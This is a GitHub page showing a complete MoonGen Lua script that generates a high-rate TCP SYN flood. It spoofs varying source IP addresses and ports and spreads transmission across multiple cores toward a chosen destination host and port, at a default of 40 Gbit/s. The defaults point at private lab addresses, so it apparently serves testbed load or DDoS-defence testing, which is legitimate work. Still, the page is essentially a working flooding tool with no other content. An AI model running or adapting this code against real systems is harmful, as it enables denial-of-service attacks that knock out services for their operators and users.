This repository was archived by the owner on Jul 3, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmoongen.lua
More file actions
executable file
·108 lines (94 loc) · 3.2 KB
/
moongen.lua
File metadata and controls
executable file
·108 lines (94 loc) · 3.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
local mg = require "moongen"
local memory = require "memory"
local device = require "device"
local stats = require "stats"
local log = require "log"
function configure(parser)
parser:description("Generates TCP SYN flood from varying source IPs and ports.")
parser:argument("dev", "Device to transmit from."):convert(tonumber)
parser:option("-r --rate", "Transmit rate in Mbit/s."):default("40000"):convert(tonumber)
parser:option("-c --core", "Number of cores."):default("2"):convert(tonumber)
parser:option("-s --src", "Source IP address."):default("192.168.1.4")
parser:option("-d --dst", "Destination IP address."):default("192.168.1.2")
parser:option("--dmac", "Destination MAC address."):default("64:9d:99:b1:06:b7")
parser:option("--sport", "Source port."):default("2000"):convert(tonumber)
parser:option("--dport", "Destination port."):default("80"):convert(tonumber)
parser:option("--ipsnum", "Number of different source IPs to use."):default("256"):convert(tonumber)
parser:option("--portsnum", "Number of different source ports to use."):default("105"):convert(tonumber)
parser:option("--timeout", "Duration of the transmission."):convert(tonumber)
parser:option("-l --len", "Length of the ethernet frame containing the SYN packet (including CRC)"):default("64"):convert(tonumber)
end
function master(args)
-- parsing the ipv4 address and use it as the beginning of the network for the attack
local minIp = parseIP4Address(args.src)
if not minIp then
log:fatal("Invalid source IP: %s", args.src)
end
local txDev = device.config{port = args.dev, txQueues = args.core}
txDev:wait()
if args.rate > 0 then
for i=0,args.core-1 do
txDev:getTxQueue(i):setRate(args.rate / args.core)
end
end
local computeStats
if args.timeout then
mg.setRuntime(args.timeout)
end
for i=0,args.core-1 do -- loop on all core/queues
if i == 0 then
computeStats = true
else
computeStats = false
end
mg.startTask("loadSlave", txDev:getTxQueue(i), Nil, --rxDev:getRxQueue(i),
minIp, args.ipsnum, args.dst,
args.dmac, args.sport, args.portsnum, args.dport,
args.len, computeStats)
end
mg.waitForTasks()
end
function loadSlave(txQueue, rxQueue, minIp, numIps, dst, dmac, minSPort, numPorts, dPort,
len, computeStats)
local mem = memory.createMemPool(function(buf)
buf:getTcpPacket():fill{
ethSrc = txQueue,
ethDst = dmac,
ip4Dst = dst,
tcpDst = dPort,
tcpSyn = 1,
tcpSeqNumber = 1,
tcpWindow = 10,
pktLength = len - 4
}
end)
local bufs = mem:bufArray(128)
local ipCounter = 0
local portCounter = 0
local cnt = 0
if computeStats then
txStats = stats:newDevTxCounter(txQueue, "plain")
end
while mg.running() do
bufs:alloc(len - 4)
cnt = cnt + 128
for i, buf in ipairs(bufs) do
local pkt = buf:getTcpPacket(ipv4)
pkt.ip4.src:set(minIp)
pkt.ip4.src:add(ipCounter)
pkt.tcp:setSrcPort((minSPort + portCounter) % 0xffff)
ipCounter = incAndWrap(ipCounter, numIps)
if ipCounter == 0 then
portCounter = incAndWrap(portCounter, numPorts)
end
end
bufs:offloadTcpChecksums(ipv4)
txQueue:send(bufs)
if computeStats then
txStats:update()
end
end
if computeStats then
txStats:finalize()
end
end